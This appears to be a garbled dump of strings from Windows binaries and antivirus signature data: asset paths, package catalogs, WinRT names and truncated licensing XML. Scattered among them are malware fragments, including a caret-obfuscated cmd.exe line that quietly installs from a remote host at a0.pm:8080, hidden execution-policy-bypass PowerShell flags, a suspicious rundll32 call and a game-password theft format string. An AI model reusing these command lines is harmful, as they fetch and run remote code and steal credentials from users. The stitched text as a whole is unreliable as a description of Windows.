.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$FocusProxyButtonT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@USizeChangedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_2>@?4??Connect@?$FocusProxyButtonT@UFocusProxyButton@implemen
6[ClipBoard Data: "windows dirctory 
Windows/wbem/root/cimv2:Win32_PageFileSetting
Common:Builtin#GuestStatID_Windows_DiskQueue
Common:Builtin#GuestStatID_Windows_DiskQueueAvg
Windows/wbem/root/cimv2:Win32_PageFileUsage
Common:Builtin#GuestStatID_Windows_DiskQueue
Common:Builtin#GuestStatID_Windows_DiskQueueAvg
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_System=@
Windows/wbem/root/cimv2:Win32_PageFileUsage#.config
Common:Builtin#GuestStatID_Windows_ProcessorQueue
Windows/wbem/root/cimv2:Win32_PageFileSetting#.refresh
MP=C:\WINDOWS\TEMP
system32\config
WindowStyle!#ALF:Trojan:Win64/Mozaakai.CD!MTB
bc^com.microsoft.windows.extensions.xaml.windowspersonacard
com.microsoft.windows.extensions.xaml.windowspersonacard
bd^com.microsoft.windows.extensionpackage
Assets\contrast-white\WindowsSecurityAppList.scale-200_contrast-white.png~@S
Assets\contrast-white\WindowsSecurityAppList.scale-150_contrast-white.png~?S
Assets\contrast-white\WindowsSecurityAppList.scale-125_contrast-white.png~>S
Assets\contrast-white\WindowsSecurityAppList.scale-100_contrast-white.png~=)
Assets\contrast-black\WindowsSecurityWideTile.scale-400_contrast-black.png~5T
Assets\contrast-black\WindowsSecurityWideTile.scale-200_contrast-black.png~4T
Assets\contrast-black\WindowsSecurityWideTile.scale-150_contrast-black.png~3T
Assets\contrast-black\WindowsSecurityWideTile.scale-125_contrast-black.png~2T
Assets\contrast-black\WindowsSecurityWideTile.scale-100_contrast-black.png~1X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-400_contrast-black.png~0X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-200_contrast-black.png~/X
c:\windows\system32\cmd.execmd.exe/v:off/d/c
windowsZones
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
\.@[INC-README.txt..windowsprogram filesappdata[
".exe-windowstylehidden-executionpolicybypass-file{
2ad^com.microsoft.windows.ai.actions
2ae^com.microsoft.windows.telemetryid
2af^com.microsoft.windows.extensionpackage
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
system32
WindowsCreateStringReference
Software\Microsoft\Windows\CurrentVersion\MS-DOS EmulationS
hello.exe  "C:\WINDOWS\DEBUG\test.exe"h
Windows Server 2003 3790 Service Pack 2W
Windows Server 2003 5.2W
Windows 2002 Service Pack 2 2600W
Windows 2002 5.1W
Microsoft.WindowsAppRuntime.Release!1.5.1}
Microsoft.WindowsAppRuntime.Insights.Resource.dll}
Microsoft.WindowsAppRuntime.dll}
Microsoft.WindowsAppRuntime.Bootstrap.dll}
Microsoft.Windows.Widgets.winmd}
Microsoft.Windows.Widgets.dll}
Microsoft.Windows.System.winmd}
Microsoft.Windows.System.Power.winmd}
Microsoft.Windows.Security.AccessControl.winmd}
Microsoft.Windows.PushNotifications.winmd}
Microsoft.Windows.Management.Deployment.winmd}
Microsoft.Windows.AppNotifications.winmd}
Microsoft.Windows.AppNotifications.Builder.winmd}
Microsoft.Windows.AppLifecycle.winmd}
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmd}
Microsoft.Windows.ApplicationModel.Resources.winmd}
Microsoft.Windows.ApplicationModel.Resources.dll}
Microsoft.Windows.ApplicationModel.DynamicDependency.winmd}
Assets\contrast-black\WindowsSecurityAppList.scale-125_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.scale-100_contrast-black.png~
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dll}
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll}
WindowsAppRuntime.png}
Assets\contrast-black\WindowsSecuritySplashScreen.scale-150_contrast-black.png~.X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-125_contrast-black.png~-X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-100_contrast-black.png~,U
Assets\contrast-black\WindowsSecuritySmallTile.scale-400_contrast-black.png~+U
Assets\contrast-black\WindowsSecuritySmallTile.scale-200_contrast-black.png~*U
Assets\contrast-black\WindowsSecuritySmallTile.scale-150_contrast-black.png~)U
Assets\contrast-black\WindowsSecuritySmallTile.scale-125_contrast-black.png~(U
Assets\contrast-black\WindowsSecuritySmallTile.scale-100_contrast-black.png~'S
Assets\contrast-black\WindowsSecurityMedTile.scale-400_contrast-black.png~&S
Assets\contrast-black\WindowsSecurityMedTile.scale-200_contrast-black.png~%S
Assets\contrast-black\WindowsSecurityMedTile.scale-150_contrast-black.png~$S
Assets\contrast-black\WindowsSecurityMedTile.scale-125_contrast-black.png~#S
Assets\contrast-black\WindowsSecurityMedTile.scale-100_contrast-black.png~"U
Assets\contrast-black\WindowsSecurityLargeTile.scale-400_contrast-black.png~!U
Assets\contrast-black\WindowsSecurityLargeTile.scale-200_contrast-black.png~ U
Assets\contrast-black\WindowsSecurityLargeTile.scale-150_contrast-black.png~
Assets\contrast-black\WindowsSecurityLargeTile.scale-125_contrast-black.png~
Assets\contrast-black\WindowsSecurityLargeTile.scale-100_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-96_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-48_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-256_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-256_altform-lightunplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.scale-400_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.scale-200_contrast-black.png~
Assets\contrast-white\WindowsSecurityAppList.scale-400_contrast-white.png~A
Assets\WindowsSecurityAppList.scale-100.png~{&
Assets\contrast-white\WindowsSecurityWideTile.scale-400_contrast-white.png~cT
Assets\contrast-white\WindowsSecurityWideTile.scale-200_contrast-white.png~bT
Assets\contrast-white\WindowsSecurityWideTile.scale-150_contrast-white.png~aT
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HideStoryboardCompletedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.
TaintWindowsShareAccessedT
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-OneCore-Connectivity-UsbConnectorManager-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|n
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|.cat|t|742.cat|6100.7840
Microsoft Windows
*WindowsFormsApp3.GiamKhao_Frm.resourcesW
Erro 404!system32\ie#
acc.txtc:\WINDOWS\dnfpath
windows.hlp
Applications\Windows7
\windows defender\G
pc:\windows\system32\cmoswar.cadc:\windows\system32\windowsxp.ini[hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon]{eccbf003-3d4f-49b9-84dd-38234f8d07ab}arun.reg
;|windowspowershell\v1.0\powershell.exe-nop-win1-
Lwfo.exewinfo.exeWindowsFileOpenerWinFileHelperf1253aae-6e03-4338-a23d-bdfe3a6f3cdf!#HSTR:Win32/RegistryOperations.PR!AMTB
 @Windows.Data.Input.FileData
Microsoft-Windows-Kernel-Package-System-Counters-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows
..\..\windows\system32\rundll32.exemar7nal.dll,runobject!%
start-processcmd.exe"/c$killmodule_path"-windowstylehidden
!#SCPT:Trojan:VBS/AsyncRAT.WindowsExecutionPolicyByPass
-noprofile-windowstylehidden-executionpolicybypass
WindowsFeedbackProtocol
-windowstylehidden-executionpolicyb
*\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
;ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default
;ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default
;ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default
cmd.exej-i}c:\windows\system32\cmd.exeuswah/v/q/cst^a^r^t^m^sie^xeckqffdnbw^k=^r^cj^b^z-fv"http://a0.pm:8080/ui/ua/ctrgqfdcbr/u/h5w3tbgcnjbo2eods/!computername!"/^qui^et%windir%\system32\imageres.dll%
(@Windows.Data.Platform.BackupRestore.DeviceProfile
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
 @Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
,@Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
 @Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
 @Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
(@Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
 @Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
 @Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickActionGroup>
 @Windows.Data.Platform.ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
(@Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
 @Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickAction>
&@Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
(@Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
(@Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
 @Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows
OC:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
c:\windows\system32\mshta.exe
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsGetStringLen
WindowsDuplicateString
WindowsPreallocateStringBuffer
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsSubstringWithSpecifiedLength
WindowsConcatString
recoveredWindows
restoredWindows
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.h
Windows 
Windows PowerShell ISE (x86)
CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.ControlCenter.QuickActionUsageCountMap
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.ActivePartitions
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.PartitionInfo
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Input.InkAndPen.InkPlatformSettings
 @Windows.Data.Platform.Partitioning.SystemPartitionIndex
 @Windows.Data.Input.InkAndPen.PenSettingShortcuts
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.PartitionMetadata
(@Windows.Data.Platform.BackupRestore.DeviceProfile
 @Windows.Data.Platform.Partitioning.PartitionInfo
 @Windows.Data.Platform.Partitioning.ActivePartitions
 @Windows.Data.Platform.Partitioning.OperatingSystemVersion
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.PartitionMetadata
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableS
 @Windows.Data.InputSettingBase
 @Windows.Data.LocalInputSettings
 @Windows.Data.InputSettings
(@Windows.Data.Personalization
(@Windows.Data.JapanInputSetting
WindowsDeleteString
WindowsDuplicateString
WindowsCreateString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCompareStringOrdinal
WindowsSubstringWithSpecifiedLength
Windows.Data.Apps.IconInfo
Windows.Data.LocalInputSettingBase
Windows.Data.Signals.BaseCondition
Windows.Data.Signals.TimestampCondition
Windows.Data.Apps.FileInfo
Windows.Data.CHTLocalInputSetting
Windows.Data.NetworkUX.Cellular.ImsiMeteredPairs
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
CloudData.WindowsClient.AssetReference
MicrosoftDevice.Default.WindowsUpdate
Windows.Data.CuratedTileCollection.Tile
Windows.Data.CuratedTileCollection.Group
Windows.Data.CuratedTileCollection.Root
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.PlaceholderTileLogo
Windows.Data.SampleMetadata.SampleDataItem
Windows.Data.QuickActions.QuickAction
Windows.Data.QuickActions.QuickActionGroup
Windows.Data.PlaceholderTile
Windows.Data.PlaceholderTileLocal
Windows.?
Windows.Data.PrivacyScreen
Windows.Data.SampleMetadata.Vec3
Windows.Data.SampleMetadata.SampleDataCollection
Windows.Data.SampleMetadata.SampleData
Windows.Data.BlueLightReduction.Settings
Windows.Data.BlueLightReduction.BlueLightReductionState
Windows.Data.BlueLightReduction.SettingsPerDevice
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows.Data.UnifiedTile.StartGlobalProperties
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.UnifiedTile.GamesListTileProperties
Windows.Data.UnifiedTile.TileProperties
Windows.Data.UnifiedTile.LocalStartTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
Windows.Data.About
Windows.Data.Signals.Registrations
Windows.Data.HomeScreenBackground.LandScapeTransform
Windows.Data.HomeScreenBackground.Configuration
Windows.Data.HomeScreenBData.PlaceholderTileCollection
Windows.Data.PlaceholderTileCollectionLocal
Windows.Data.TouchKeyboard
Windows.Data.TouchKeyboardLocal
Windows.Data.KeyCodeMFU
Windows.Data.KeycodeMFUs
Windows.Data.NetworkUX.VPN.VPNSharingSettings
Windows.Data.NetworkUX.Cellular.CellularSettings
Windows.Data.NetworkUX.Wifi.WiFiPrivacySettings
Windows.Data.WindowsUpdate.WuAdvancedOptions
allowAutoWindowsUpdateDownloadOverMeteredNetwork
Windows.Data.Sounds
Windows.Data.TextInputProcessorCollection
Windows.Data.Personalization
Windows.Data.LockScreen.LockScreenPhoneLegacy
Windows.Data.InputSettingBase
Windows.Data.InputSettings
Windows.Data.LocalInputSettings
sts.windows.netx
curlhttp://m.windows
:\windows\help(
%s\system32\rundll32.exe %s\system32\V3lght.dll,MXHDPUC%c%cdelQuFu:%s  Name:%s  Pass:%s  JiaoSe_Pass:%s  ChuangKu_Pass:%slogin_mode=login&MXD_JiaoSeMXD_CangKu
%system32%\convert.exe;%system32%\vds.exe
%system32%\fondue.exe;%system32%\optionalfeatures.exe
%system32%\deviceenroller.exe;%system32%\dmcertinst.exe;%system32%\dmcfghost.exe;%system32%\dmomacpmo.exe;%system32%\hvsievaluator.exe;%system32%\mdmagent.exe;%system32%\mdmappinstaller.exe;%system32%\mdmdiagnosticstool.exe;%system32%\omadmclient.exe;%system32%\omadmrpc.exe;%system32%\usocoreworker.exe
%system32%\bootim.exe;%system32%\cttune.exe;%system32%\devicepairingwizard.exe;%system32%\easeofaccessdialog.exe;%system32%\fsquirt.exe;%system32%\magnify.exe;%system32%\optionalfeatures.exe;%system32%\osk.exe;%system32%\psr.exe;%system32%\sethc.exe;%system32%\snippingtool.exe;%system32%\utilman.exe;%system32%\wmpdmc.exe
%system32%\compmgmtlauncher.exe;%system32%\notepad.exe
%system32%\cacls.exe;%programfiles%\google\chrome\application\chrome.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft\edgewebview\application\%version%\msedgewebview2.exe
%system32%\certutil.exe;%system32%\cipher.exe;%system32%\dcdiag.exe;%system32%\dfsrdiag.exe;%system32%\dnscmd.exe;%system32%\dsacls.exe;%system32%\dsadd.exe;%system32%\dsdbutil.exe;%system32%\dsget.exe;%system32%\dsmgmt.exe;%system32%\dsquery.exe;%system32%\gpresult.exe;%system32%\licmgr.exe;%system32%\netdom.exe;%system32%\nltest.exe;%system32%\ntdsutil.exe;%system32%\rendom.exe;%system32%\repadmin.exe;%system32%\setspn.exe;%system32%\w32tm.exe
%system32%\apphostregistrationverifier.exe;%system32%\devicecensus.exe;%system32%\directxdatabaseupdater.exe;%system32%\fxscover.exe;%system32%\microsoft.uev.synccontroller.exe;%system32%\rdpclip.exe;%system32%\wordpad.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%programfiles%\microsoft office\root\office%version%\clview.exe;preconditions%programfiles%\microsoft office\root\office%version%\cnfnot32.exe;preconditions%programfiles%\microsoft office\root\office%version%\excelcnv.exe;preconditions%programfiles%\microsoft office\root\office%version%\graph.exe;preconditions%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\msoia.exe;preconditions%programfiles%\microsoft office\root\office%version%\msosrec.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\msqry32.exe;preconditions%programfiles%\microsoft office\root\office%version%\namecontrolserver.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe;preconditions%programfiles%\microsoft office\root\office%version%\protocolhandler.exe;preconditions%programfiles%\microsoft office\root\office%version%\scanpst.exe;preconditions%programfiles%\microsoft office\root\office%version%\sdxhelper.exe;preconditions%programfiles%\microsoft office\root\office%version%\setlang.exe
%system32%\multidigimon.exe;%system32%\tabcal.exe
%system32%\infdefaultinstall.exe;%system32%\pnpunattend.exe;%system32%\systemsettingsadminflows.exe
<?xml version="1.0" encoding="utf-8"?><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{a72f560d-19a4-d1d9-5c36-83bb8242e802}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) ProfessionalWorkstation Product PPD License</r:title><r:grant><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:possessProperty/><tm:application xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><editionId xmlns="http://www.microsoft.com/DRM/XrML2/TM/v2" value="ProfessionalWorkstation"></editionId></tm:application><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>200</sl:priority><sl:policyInt name="Kernel-MUI-Number-Allowed" attributes="reboot-required, override-only">1000</sl:policyInt><sl:policyInt name="Kernel-NativeVHDBoot" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="LSA-Policy-EnableTrustedDomains" attributes="reboot-required, override-only">0</sl:policyInt><sl:policyInt name="LSA-Policy-EnableCredentialIsolation" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-AllowMultiMon" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Security-NGC-AllowRemoteNGC" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="RasBase-MaxConnections" attributes="reboot-required, override-only">3</sl:policyInt><sl:policyInt name="RasBase-DefaultConnections" attributes="reboot-required, override-only">2</sl:policyInt><sl:policyInt name="TabletPCInputPanel-EnableTIP" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-MultiTouchGestures" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-SFP" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="Taskbar-Pinning-Recommendations" attributes="reboot-required, override-only">0</sl:policyInt><sl:policyInt name="volmgrx-SupportDynamic" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="volmgrx-SupportMirror" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="volmgrx-SupportRaid5" attributes="reboot-required, override-only">0</sl:policyInt><sl:policyInt name="Security-SPP-Reserved-SkuPpdConsumed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Security-SPP-GenuineLocalStatus" attributes="override-only">1</sl:policyInt><sl:policyInt name="RasBase-EnableOnDemandDriverLoad" attributes="override-only">1</sl:policyInt><sl:policyInt name="deviceregistration-MaximumUsers" attributes="override-only">1</sl:policyInt><sl:policyInt name="Security-SPP-Reserved-AllowConsumeLegacyLicenses" attributes="override-only">1</sl:policyInt><sl:policyInt name="PEAuth-Available" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-WaasMedic-Enable-Remediat
<?xml version="1.0" encoding="utf-8"?><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{f7a67c1b-1405-bd8d-4543-076138674dff}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>DefaultPpd-ProfessionalWorkstation Component PPD License</r:title><r:grant><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:possessProperty/><tm:application xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><editionId xmlns="http://www.microsoft.com/DRM/XrML2/TM/v2" value=""></editionId></tm:application><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>100</sl:priority><sl:policyInt name="AAD-WindowsCore-AddAccountRestrictions">0</sl:policyInt><sl:policyInt name="AAD-BlockAADWorkplaceJoin-Default">0</sl:policyInt><sl:policyInt name="AAD-AddDeviceJoinUserToAdminGroup-Policy">0</sl:policyInt><sl:policyInt name="ActionRuntime-Available">0</sl:policyInt><sl:policyInt name="ACLUIFileFolderTool-IsSecurityUIEnabled">1</sl:policyInt><sl:policyInt name="Administrator-Protection-Elevation-ETW">0</sl:policyInt><sl:policyInt name="Allow-WindowsSubscription">0</sl:policyInt><sl:policyInt name="Allow-AppLaunch-Container">0</sl:policyInt><sl:policyInt name="ConsumeAddonPolicySet">0</sl:policyInt><sl:policyInt name="AMR-CODECS-MSAMRNBInSKU">1</sl:policyInt><sl:policyInt name="AppDefaults-UseAlternateProgIds">0</sl:policyInt><sl:policyInt name="appid-EnableV2">1</sl:policyInt><sl:policyInt name="AppMan-AppV-Subscription-Active">0</sl:policyInt><sl:policyInt name="AppMan-UEV-Subscription-Active">0</sl:policyInt><sl:policyInt name="AppReadiness-BlockLogonForCriticalAppsOnly">0</sl:policyInt><sl:policyInt name="AppXDeploymentServer-License-AllowAllTrustedApps">0</sl:policyInt><sl:policyInt name="AppXDeploymentServer-License-MaxSideloadedPackagesCount">-1</sl:policyInt><sl:policyInt name="AzureStackHCI-Service-Enabled">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Enforce-Registration">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Registration-State">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Config-CensusSync">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Config-DiagUpload">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitCoreOSMeter">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Emit-Preview-Meters">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitWindowsMeter">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitOnePDeviceMeter">0</sl:policyInt><sl:policyInt name="Branding-Override-Available">0</sl:policyInt><sl:policyInt name="BrightnessReset-Enabled">0</sl:policyInt><sl:policyInt name="BuildFlighting-ControlBuildFlighting">0</sl:policyInt><sl:policyInt name="ChangeDesktopBackground-Enabled">1</sl:policyInt><sl:policyInt name="CodeIntegrity-AllowConfigurablePolicy-CustomKernelSigners">0</sl:policyInt><sl:policyInt name="CodeIntegrity-AllowSkuPolicy-CbsAndCompDbSigners">0</sl:policyInt><sl:policyInt name="CodeIntegrity-CloudEdition-Enforce-Required">0</sl:policyInt><sl:policyInt name="CodeIntegrity-SKU-Unlock">0</sl:policyInt><sl:policyInt name="ContentDeliveryManager-License-ContentDeliveryAllowed">0</sl:policyInt><sl:policyInt name="Cortana-AllowCortana-Enabled">1</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileStorageReserve-Enabled">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Mini">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Kernel">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Full">0</sl:policyInt><sl:policyInt name="CXH-ServerIsClient">0</sl:policyInt><sl:policyInt name="DCPromoExe-Enabled">0</sl:policyInt><sl:policyInt name="Defender-UI-Lockdown">0</sl:policyInt><sl:policyInt name="Defender-Days-To-Retain-Cleaned-Malware">0</sl:policyInt><sl:policyI
F@Switcher@Experiences@ComposableShell@WindowsInternal@@EAAXH@ZPEAV345678@AEBU?$_Ph@$0
